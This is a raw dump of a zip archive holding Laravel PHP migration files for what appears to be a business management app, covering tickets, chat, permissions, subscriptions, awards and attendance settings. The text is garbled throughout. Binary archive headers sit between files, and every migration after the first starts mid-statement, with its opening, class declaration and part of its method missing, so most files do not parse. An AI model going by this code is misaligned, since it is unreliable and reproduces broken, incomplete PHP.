$table->unsignedInteger('added_by')->nullable()->index('tickets_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('tickets_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['agent_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['channel_id'])->references(['id'])->on('ticket_channels')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['country_id'])->references(['id'])->on('countries')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['type_id'])->references(['id'])->on('ticket_types')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamp('created_at')->nullable(); $table->timestamp('updated_at')->nullable()->index(); }); Schema::create('ticket_replies', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('ticket_id')->index('ticket_replies_ticket_id_foreign'); $table->unsignedInteger('user_id')->index('ticket_replies_user_id_foreign'); $table->foreign(['ticket_id'])->references(['id'])->on('tickets')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->mediumText('message')->nullable(); $table->softDeletes(); $table->string('imap_message_id')->nullable(); $table->string('imap_message_uid')->nullable(); $table->string('imap_in_reply_to')->nullable(); $table->timestamps(); }); Schema::create('ticket_files', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id')->index('ticket_files_user_id_foreign'); $table->unsignedInteger('ticket_reply_id')->index('ticket_files_ticket_reply_id_foreign'); $table->foreign(['ticket_reply_id'])->references(['id'])->on('ticket_replies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('dropbox_link')->nullable(); $table->string('external_link')->nullable(); $table->string('external_link_name')->nullable(); $table->timestamps(); }); Schema::create('ticket_reply_templates', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->mediumText('reply_heading'); $table->mediumText('reply_text'); $table->timestamps(); }); Schema::create('ticket_tag_list', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('tag_name'); $table->timestamps(); }); Schema::create('ticket_tags', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('tag_id')->index('ticket_tags_tag_id_foreign'); $table->unsignedInteger('ticket_id')->index('ticket_tags_ticket_id_foreign'); $table->foreign(['tag_id'])->references(['id'])->on('ticket_tag_list')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['ticket_id'])->references(['id'])->on('tickets')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('translate_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('google_key')->nullable(); $table->timestamps(); }); Schema::create('universal_search', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->integer('searchable_id'); $table->enum('module_type', ['ticket', 'invoice', 'notice', 'proposal', 'task', 'creditNote', 'client', 'employee', 'project', 'estimate', 'lead'])->nullable(); $table->string('title'); $table->string('route_name'); $table->timestamps(); }); Schema::create('user_activities', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('user_activities_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('activity'); $table->timestamp('created_at')->nullable()->index(); $table->timestamp('updated_at')->nullable(); }); Schema::create('user_invitations', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('user_invitations_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('invitation_type', ['email', 'link'])->default('email'); $table->string('email')->nullable(); $table->string('invitation_code'); $table->enum('status', ['active', 'inactive'])->default('active'); $table->string('email_restriction')->nullable(); $table->text('message')->nullable(); $table->timestamps(); }); Schema::create('user_leadboard_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('user_leadboard_settings_user_id_foreign'); $table->unsignedInteger('board_column_id')->index('user_leadboard_settings_board_column_id_foreign'); $table->foreign(['board_column_id'])->references(['id'])->on('lead_status')->onUpdate('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->boolean('collapsed')->default(false); $table->timestamps(); }); Schema::create('user_permissions', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('user_id')->index('user_permissions_user_id_foreign'); $table->unsignedInteger('permission_id')->index('user_permissions_permission_id_foreign'); $table->unsignedBigInteger('permission_type_id')->index('user_permissions_permission_type_id_foreign'); $table->foreign(['permission_id'])->references(['id'])->on('permissions')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['permission_type_id'])->references(['id'])->on('permission_types')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('user_taskboard_settings', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('user_taskboard_settings_user_id_foreign'); $table->unsignedInteger('board_column_id')->index('user_taskboard_settings_board_column_id_foreign'); $table->foreign(['board_column_id'])->references(['id'])->on('taskboard_columns')->onUpdate('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->boolean('collapsed')->default(false); $table->timestamps(); }); Schema::create('users_chat', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_one')->index('users_chat_user_one_foreign'); $table->unsignedInteger('user_id')->index('users_chat_user_id_foreign'); $table->mediumText('message')->nullable(); $table->unsignedInteger('from')->nullable()->index('users_chat_from_foreign'); $table->unsignedInteger('to')->nullable()->index('users_chat_to_foreign'); $table->foreign(['from'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['to'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_one'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('message_seen', ['yes', 'no'])->default('no'); $table->timestamps(); }); Schema::create('users_chat_files', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('users_chat_files_user_id_foreign'); $table->unsignedInteger('users_chat_id')->index('users_chat_files_users_chat_id_foreign'); $table->foreign(['users_chat_id'])->references(['id'])->on('users_chat')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->string('external_link_name')->nullable(); $table->timestamps(); }); } } /** * Reverse the migrations. * * @return void */ public function down() { // Removed all drop code to minimize the file size. } }; PKZt8v v ?migrations/2023_09_12_062223_create_ticket_activities_table.phpnu[unsignedInteger('project_id')->nullable()->after('group_id'); $table->foreign('project_id')->references('id')->on('projects')->onDelete('cascade'); }); Schema::create('ticket_activities', function (Blueprint $table) { $table->id(); $table->unsignedInteger('ticket_id'); $table->unsignedInteger('user_id'); $table->unsignedInteger('assigned_to')->nullable(); $table->unsignedInteger('channel_id')->nullable(); $table->unsignedInteger('group_id')->nullable(); $table->unsignedInteger('type_id')->nullable(); $table->string('status')->default('open'); $table->string('priority')->default('medium'); $table->string('type')->default('create'); $table->longText('content')->nullable(); $table->foreign('ticket_id')->references('id')->on('tickets')->onDelete('cascade'); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade'); $table->foreign('assigned_to')->references('id')->on('users')->onDelete('cascade'); $table->foreign('channel_id')->references('id')->on('ticket_channels')->onDelete('cascade'); $table->foreign('group_id')->references('id')->on('ticket_groups')->onDelete('cascade'); $table->foreign('type_id')->references('id')->on('ticket_types')->onDelete('cascade'); $table->timestamps(); }); $tickets = \App\Models\Ticket::get(); foreach ($tickets as $ticket) { $ticketActivity = new \App\Models\TicketActivity(); $ticketActivity->ticket_id = $ticket->id; $ticketActivity->user_id = $ticket->user_id; $ticketActivity->assigned_to = $ticket->agent_id; $ticketActivity->channel_id = $ticket->channel_id; $ticketActivity->group_id = $ticket->group_id; $ticketActivity->type_id = $ticket->type_id; $ticketActivity->status = $ticket->status; $ticketActivity->priority = $ticket->priority; $ticketActivity->type = 'create'; $ticketActivity->save(); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('ticket_activities'); } }; PKZ <migrations/2023_10_31_102848_add_email_to_global_setting.phpnu[string('email')->nullable(); }); Schema::whenTableDoesntHaveColumn('global_settings', 'last_license_verified_at', function (Blueprint $table) { $table->datetime('last_license_verified_at')->nullable(); }); if (isWorksuite()) { $firstCompany = Company::first(); if ($firstCompany) { $globalSetting = GlobalSetting::first(); $globalSetting->email = $firstCompany->company_email; $globalSetting->last_license_verified_at = now()->subDays(2); $globalSetting->saveQuietly(); } } } /** * Reverse the migrations. */ public function down(): void { Schema::whenTableHasColumn('global_settings', 'email', function (Blueprint $table) { $table->dropColumn('email'); }); } }; PKZƓGDD8migrations/2024_07_31_12573412_insert_ticket_setting.phpnu[unsignedInteger('user_id')->nullable()->default(null)->change(); }); $companyIds = Company::pluck('id'); $existingCompanyIds = TicketSettingForAgents::whereIn('company_id', $companyIds) ->pluck('company_id') ->toArray(); $newCompanyIds = array_diff($companyIds->toArray(), $existingCompanyIds); $insertData = array_map(function ($companyId) { return [ 'ticket_scope' => 'assigned_tickets', 'company_id' => $companyId, ]; }, $newCompanyIds); if (!empty($insertData)) { TicketSettingForAgents::insert($insertData); } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('ticket_settings_for_agents', function (Blueprint $table) { // Revert the column to its previous state, adjust as necessary $table->unsignedInteger('user_id')->default('None')->change(); }); } }; PKZZCv7migrations/2024_11_05_051148_update_task_short_code.phpnu[whereNotNull('project_id')->get(); foreach ($tasks as $task) { try{ $project = $task->project; $task->task_short_code = $project->project_short_code . '-' . $task->id; $task->saveQuietly(); }catch(\Exception $e){} } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZC:migrations/2024_11_21_104656_update_attendance_setting.phpnu[id) ->where('qr_enable', 1) ->where('auto_clock_in', 'yes') ->update([ 'auto_clock_in' => 'no', ]); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ$!GG7migrations/2024_02_07_213519_update_users_header_ip.phpnu[text('headers')->nullable(); $table->string('register_ip')->nullable(); }); Schema::table('companies', function (Blueprint $table) { $table->text('headers')->nullable(); $table->string('register_ip')->nullable(); }); } }; PKZJ] Kmigrations/2023_06_28_120547_alter_description_column_in_expenses_table.phpnu[where('customised_permissions', 0)->update(['permission_sync' => 0]); Artisan::call('sync-user-permissions', ['all' => true]); Schema::table('expenses', function (Blueprint $table) { $table->longtext('description')->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('expenses', function (Blueprint $table) { // }); } }; PKZ/  ;migrations/2022_12_29_084526_create_subscriptions_table.phpnu[string('stripe_id')->nullable()->index(); $table->string('pm_type')->nullable(); $table->string('pm_last_four', 4)->nullable(); $table->timestamp('trial_ends_at')->nullable(); }); } if (!Schema::hasTable('subscriptions')) { Schema::create('subscriptions', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('user_id')->unsigned()->nullable(); $table->foreign('user_id')->references('id')->on('users')->onDelete('SET NULL')->onUpdate('cascade'); $table->string('name'); $table->string('stripe_id')->unique(); $table->string('stripe_status'); $table->string('stripe_price')->nullable(); $table->integer('quantity')->nullable(); $table->timestamp('trial_ends_at')->nullable(); $table->timestamp('ends_at')->nullable(); $table->timestamps(); $table->index(['user_id', 'stripe_status']); }); Schema::create('subscription_items', function (Blueprint $table) { $table->id(); $table->foreignId('subscription_id'); $table->string('stripe_id')->unique(); $table->string('stripe_product'); $table->string('stripe_price'); $table->integer('quantity')->nullable(); $table->timestamps(); $table->unique(['subscription_id', 'stripe_price']); }); } if (!Schema::hasColumn('subscriptions', 'company_id')) { Schema::table('subscriptions', function (Blueprint $table) { $table->integer('company_id')->unsigned()->nullable()->after('id'); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); }); } } public function down() { Schema::dropIfExists('subscriptions'); Schema::dropIfExists('subscription_items'); } }; PKZپ=migrations/2023_01_05_084453_add_column_in_log_time_table.phpnu[faviconToCompany(); if (!Schema::hasColumn('log_time_for', 'tracker_reminder')) { Schema::table('log_time_for', function (Blueprint $table) { $table->boolean('tracker_reminder')->after('approval_required'); $table->time('time')->nullable(); }); } if (!Schema::hasColumn('lead_notes', 'details')) { Schema::table('lead_notes', function (Blueprint $table) { $table->longText('details')->change(); }); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('log_time_for', function (Blueprint $table) { $table->dropColumn('tracker_reminder'); $table->dropColumn('time'); }); } private function faviconToCompany() { if (!Schema::hasColumn('companies', 'favicon')) { Schema::table('companies', function (Blueprint $table) { $table->string('favicon')->nullable()->after('logo'); }); $globalSetting = GlobalSetting::select('id', 'favicon')->first(); if ($globalSetting) { $company = Company::first(); $company->favicon = $globalSetting->favicon; $company->saveQuietly(); } } } }; PKZ;0;migrations/2024_01_11_113519_update_marital_status_enum.phpnu[string('marital_status')->default(MaritalStatus::Single->value)->change(); }); EmployeeDetails::withoutGlobalScopes()->where('marital_status', 'unmarried')->update(['marital_status' => MaritalStatus::Single]); $leaveTypes = LeaveType::withoutGlobalScopes()->get(); foreach ($leaveTypes as $leaveType) { $maritalStatus = json_decode($leaveType->marital_status); if (is_array($maritalStatus)) { $maritalStatus = array_map(function ($status) { return $status === 'unmarried' ? MaritalStatus::Single->value : $status; }, $maritalStatus); $leaveType->marital_status = json_encode($maritalStatus); $leaveType->save(); } } } }; PKZ0jGGhmigrations/2022_09_16_071005_add_headcount_and_joining_vs_attrition_widget_in_dashboard_widget_table.phpnu[get(); foreach ($companies as $company) { $widget = [ 'widget_name' => 'headcount', 'status' => 1, 'company_id' => $company->id, 'dashboard_type' => 'admin-hr-dashboard' ]; DashboardWidget::create($widget); $widget = [ 'widget_name' => 'joining_vs_attrition', 'status' => 1, 'company_id' => $company->id, 'dashboard_type' => 'admin-hr-dashboard' ]; DashboardWidget::create($widget); } } /** * Reverse the migrations. * * @return void */ public function down() { DashboardWidget::where('widget_name', 'headcount')->delete(); } }; PKZ+ ~Jmigrations/2022_08_24_122345_add_lead_widget_in_dashboard_widget_table.phpnu[ 'lead', 'status' => 1, 'dashboard_type' => 'private-dashboard' ]; DashboardWidget::create($widget); } } /** * Reverse the migrations. * * @return void */ public function down() { DashboardWidget::where('widget_name', 'lead')->delete(); } }; PKZO#! ;migrations/2022_09_01_060824_create_appreciations_table.phpnu[id(); $table->string('title'); $table->string('icon'); $table->timestamps(); }); Schema::create('awards', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); $table->string('title'); $table->unsignedBigInteger('award_icon_id')->nullable()->default(null); $table->foreign('award_icon_id')->references('id') ->on('award_icons')->onDelete('cascade')->onUpdate('cascade'); $table->text('summary')->nullable()->default(null); $table->enum('status', ['active', 'inactive'])->default('active'); $table->string('color_code'); $table->timestamps(); }); Schema::create('appreciations', function (Blueprint $table) { $table->id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('award_id'); $table->foreign('award_id')->references('id')->on('awards')->onDelete('cascade')->onUpdate('cascade'); $table->integer('award_to')->unsigned(); $table->foreign('award_to')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); $table->date('award_date'); $table->string('image')->nullable()->default(null); $table->text('summary')->nullable()->default(null); $table->integer('added_by')->unsigned(); $table->foreign('added_by')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); $table->timestamps(); }); $module = Module::where('module_name', 'employees')->first(); if(!is_null($module)){ $permissions = [ [ 'name' => 'add_appreciation', 'display' => 'Add Appreciation', 'allowed_permission' => Permission::ALL_NONE ], [ 'name' => 'view_appreciation', 'display' => 'View Appreciation', 'allowed_permission' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5 ], [ 'name' => 'edit_appreciation', 'display' => 'Edit Appreciation', 'allowed_permission' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5 ], [ 'name' => 'delete_appreciation', 'display' => 'Delete Appreciation', 'allowed_permission' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5 ], ['name' => 'manage_award', 'display' => 'Manage Award', 'allowed_permission' => Permission::ALL_NONE ] ]; $companies = Company::select('id')->get(); foreach($permissions as $permissionData){ $permission = new Permission(); $permission->name = $permissionData['name']; $permission->display_name = $permissionData['display']; $permission->description = null; $permission->module_id = $module->id; $permission->is_custom = 1; $permission->allowed_permissions = $permissionData['allowed_permission']; $permission->save(); foreach ($companies as $company) { $role = Role::where('name', 'admin')->where('company_id', $company->id)->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; $permissionRole->save(); $adminUser = User::withOut('clientDetails')->withRole('admin')->get(); foreach($adminUser as $adminUsers) { $userPermission = new UserPermission(); $userPermission->user_id = $adminUsers->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; $userPermission->save(); } if($permissionData['name'] == 'view_appreciation') { $admins = $adminUser->pluck('id')->toArray(); $employeeUsers = User::withOut('clientDetails')->withRole('employee')->whereNotIn('id', $admins)->get(); foreach($employeeUsers as $employeeUser) { $userPermission = new UserPermission(); $userPermission->user_id = $employeeUser->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 2; $userPermission->save(); } } } } foreach ($companies as $company) { $widget = [ 'widget_name' => 'appreciation', 'status' => 1, 'dashboard_type' => 'private-dashboard', 'company_id' => $company->id ]; DashboardWidget::create($widget); $notification = [ 'send_email' => 'yes', 'send_push' => 'no', 'send_slack' => 'no', 'setting_name' => 'Employee Appreciation', 'slug' => 'appreciation-notification', 'company_id' => $company->id, ]; EmailNotificationSetting::firstOrCreate($notification); } $icons = [ ['title' => 'Trophy', 'icon' => 'trophy'], ['title' => 'Thumbs Up', 'icon' => 'hand-thumbs-up'], ['title' => 'Award', 'icon' => 'award'], ['title' => 'Book', 'icon' => 'book'], ['title' => 'Gift', 'icon' => 'gift'], ['title' => 'Watch', 'icon' => 'watch'], ['title' => 'Cup', 'icon' => 'cup-hot'], ['title' => 'Puzzle', 'icon' => 'puzzle'], ['title' => 'Plane', 'icon' => 'airplane'], ['title' => 'Money', 'icon' => 'piggy-bank'], ]; foreach ($icons as $icon) { AwardIcon::create($icon); } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('appreciations'); Schema::dropIfExists('user_appreciations'); $permissions = ['add_appreciation', 'view_appreciation', 'edit_appreciation', 'delete_appreciation', 'manage_appriciation_type']; Permission::whereIn('name', $permissions)->delete(); Schema::dropIfExists('appreciations_likes'); DashboardWidget::where('widget_name', 'appreciation')->delete(); EmailNotificationSetting::where('slug', 'appreciation-notification')->delete(); Schema::dropIfExists('appreciation_icons'); } }; PKZ5migrations/2022_09_00_000000_create_company_table.phpnu[boolean('customised_permissions')->default(0); }); Permission::where('name', 'view_client_note') ->update([ 'allowed_permissions' => Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5] ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('users', function (Blueprint $table) { $table->dropColumn(['customised_permissions']); }); } }; PKZ`OOBmigrations/2024_02_13_094338_add_soft_delete_table_leave_types.phpnu[softDeletes(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('leave_types', function (Blueprint $table) { $table->dropSoftDeletes(); }); } }; PKZR,<migrations/2024_03_29_054907_add_webhook_secret_razorpay.phpnu[string('test_razorpay_webhook_secret')->nullable()->after('test_razorpay_secret'); $table->string('live_razorpay_webhook_secret')->nullable()->after('live_razorpay_secret'); }); } User::withoutGlobalScope(ActiveScope::class) ->where('status', '<>', 'deactive') ->update(['status' => 'active']); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ[[Umigrations/2024_05_03_062538_lead_contact_view_permission_changes_to_all_and_none.phpnu[first(); if ($permission) { $permission->allowed_permissions = Permission::ALL_NONE; $permission->save(); // update to all permission if added , owned , both assigned UserPermission::where('permission_id', $permission->id) ->whereIn('permission_type_id', [1, 2, 3]) ->update(['permission_type_id' => 4]); // update to all permission if added , owned , both assigned PermissionRole::where('permission_id', $permission->id) ->whereIn('permission_type_id', [1, 2, 3]) ->update(['permission_type_id' => 4]); } } /** * Reverse the migrations. */ public function down(): void { $permission = Permission::where('name', 'view_lead')->first(); if ($permission) { $permission->allowed_permissions = Permission::ALL_4_ADDED_1_OWNED_2_BOTH_3_NONE_5; $permission->save(); } } }; PKZtHL[Dmigrations/2024_07_11_103437_create_remove_old_device_user_table.phpnu[id(); $table->string('device_uuid')->unique(); $table->string('device_type')->index(); $table->string('ip', 40)->index(); $table->timestamp('device_hijacked_at')->nullable(); $table->text('data')->nullable(); $table->boolean('is_rogue_device')->default(false)->index(); $table->softDeletes(); $table->timestamps(); }); Schema::create('device_user', function (Blueprint $table) use ($deviceTableName, $fieldName) { $table->id(); $table->foreignId($fieldName)->index(); $table->foreignId('device_id')->index() ->constrained($deviceTableName) ->cascadeOnDelete(); $table->index([$fieldName, 'device_id']); $table->string('name')->nullable(); $table->timestamp('verified_at')->nullable(); $table->timestamp('reported_as_rogue_at')->nullable()->index(); $table->text('note')->nullable(); $table->text('admin_note')->nullable(); $table->text('data')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('device_user'); } }; PKZiZ+. . Rmigrations/2023_03_16_105629_add_manage_ticket_group_field_in_permission_table.phpnu[first(); $count = Company::withoutGlobalScope(\App\Scopes\ActiveScope::class)->count(); if (!is_null($module) && $count > 0) { $permissionType = [ 'module_id' => $module->id, 'display_name' => 'Manage Ticket Groups', 'name' => 'manage_ticket_groups', 'is_custom' => 1, 'allowed_permissions' => Permission::ALL_NONE, ]; $permission = new Permission(); $permission->name = $permissionType['name']; $permission->display_name = $permissionType['display_name']; $permission->module_id = $module->id; $permission->is_custom = $permissionType['is_custom']; $permission->allowed_permissions = $permissionType['allowed_permissions']; $permission->save(); $companies = Company::select('id')->get(); foreach($companies as $company){ $role = Role::where('name', 'admin')->where('company_id', $company->id)->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; $permissionRole->save(); $admins = User::allAdmins($company->id); foreach($admins as $admin) { $userPermission = new UserPermission(); $userPermission->user_id = $admin->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; $userPermission->save(); } } } } /** * Reverse the migrations. * * @return void */ public function down() { } }; PKZ;migrations/2023_10_25_073702_add_new_language_bg_and_id.phpnu[count()) { $bgLanguage = $languages->where('language_code', 'bg')->first(); if (!$bgLanguage) { LanguageSetting::create([ 'language_code' => 'bg', 'flag_code' => 'bg', 'language_name' => 'Bulgarian', 'status' => 'disabled', ]); } $idLanguage = $languages->where('language_code', 'id')->first(); if (!$idLanguage) { LanguageSetting::create([ 'language_code' => 'id', 'flag_code' => 'id', 'language_name' => 'Indonesian', 'status' => 'disabled', ]); } // Delete duplicate language only if there is more than one language foreach ($languages as $language) { $duplicateLanguages = $languages->where('language_code', $language->language_code); if ($duplicateLanguages->count() > 1) { $duplicateLanguages->shift(); foreach ($duplicateLanguages as $duplicateLanguage) { $duplicateLanguage->delete(); } } } } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ|{&Kmigrations/2024_09_11_123540_add_column_in_project_templates_task_table.phpnu[text('task_labels')->nullable()->after('priority'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('project_template_tasks', function (Blueprint $table) { $table->dropColumn('task_labels'); }); } }; PKZp~ ~ Lmigrations/2023_01_31_072924_add_settings_to_email_notification_settings.phpnu[get(); foreach ($companies as $company) { $settings = [ [ 'send_email' => 'no', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Clock In Notification', 'slug' => 'clock-in-notification', ], [ 'send_email' => 'no', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Holiday Notification', 'slug' => 'holiday-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Estimate Notification', 'slug' => 'estimate-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Event Notification', 'slug' => 'event-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Message Notification', 'slug' => 'message-notification', ] ]; EmailNotificationSetting::insert($settings); } Schema::table('lead_follow_up', function (Blueprint $table) { $table->string('status')->after('remind_type')->nullable(); }); foreach ($companies as $company) { EmployeeShift::create([ 'company_id' => $company->id, 'shift_name' => 'Day Off', 'shift_short_code' => 'DO', 'late_mark_duration' => 0, 'clockin_in_day' => 0 ]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('lead_follow_up', function (Blueprint $table) { $table->dropColumn('status'); }); } }; PKZgfNmigrations/2024_06_04_083820_modify_status_column_in_pending_invoice_table.phpnu[enum('overwrite_attendance', ['yes', 'no'])->default('no'); }); } } /** * Reverse the migrations. */ public function down(): void { if (Schema::hasColumn('attendances', 'overwrite_attendance')) { Schema::table('attendances', function (Blueprint $table) { $table->dropColumn(['overwrite_attendance']); }); } } }; PKZ?migrations/2024_10_18_051921_update_bank_account_type_value.phpnu[where('account_type', 'credit Card') ->update(['account_type' => 'credit-card']); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZ,Ymigrations/2024_07_01_045113_update_phonecode_for_republic_democreatic_congo_kinshasa.phpnu[where('iso3', 'COD') ->update(['phonecode' => 243]); } /** * Reverse the migrations. */ public function down(): void { Country::where('iso', 'CD') ->where('iso3', 'COD') ->update(['phonecode' => 242]); } }; PKZGJ{{8migrations/2024_05_06_050805_modify_lead_notes_table.phpnu[text('details')->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('lead_notes', function (Blueprint $table) { $table->text('details')->nullable(false)->change(); }); } }; PKZ-olDmigrations/2025_02_25_055853_designation_delete_employee_details.phpnu[get(); foreach ($deletedTickets as $deletedTicket) { // Find all replies related to the deleted ticket $ticketReplies = TicketReply::where('ticket_id', $deletedTicket->id)->get(); foreach ($ticketReplies as $reply) { // Delete files associated with the reply $this->deleteFilesForReply($reply); // Delete the reply itself $reply->delete(); } } // Get all replies that are deleted $deletedReplies = TicketReply::onlyTrashed()->get(); foreach ($deletedReplies as $deletedReply) { // Delete files associated with the reply $this->deleteFilesForReply($deletedReply); } } /** * Delete files associated with a given reply. * * @param TicketReply $reply */ private function deleteFilesForReply($reply) { // Get all files associated with this reply $replyFiles = TicketFile::where('ticket_reply_id', $reply->id)->get(); foreach ($replyFiles as $file) { $filePath = TicketFile::FILE_PATH . '/' . $file->ticket_reply_id; Files::deleteFile($file->hashname, TicketFile::FILE_PATH); Files::deleteDirectory($filePath); $file->delete(); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZԂ<migrations/2024_03_08_091320_create_deal_histories_table.phpnu[id(); $table->unsignedBigInteger('deal_id'); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade'); $table->string('event_type'); $table->unsignedInteger('created_by')->nullable()->index('deal_histories_created_by_foreign'); 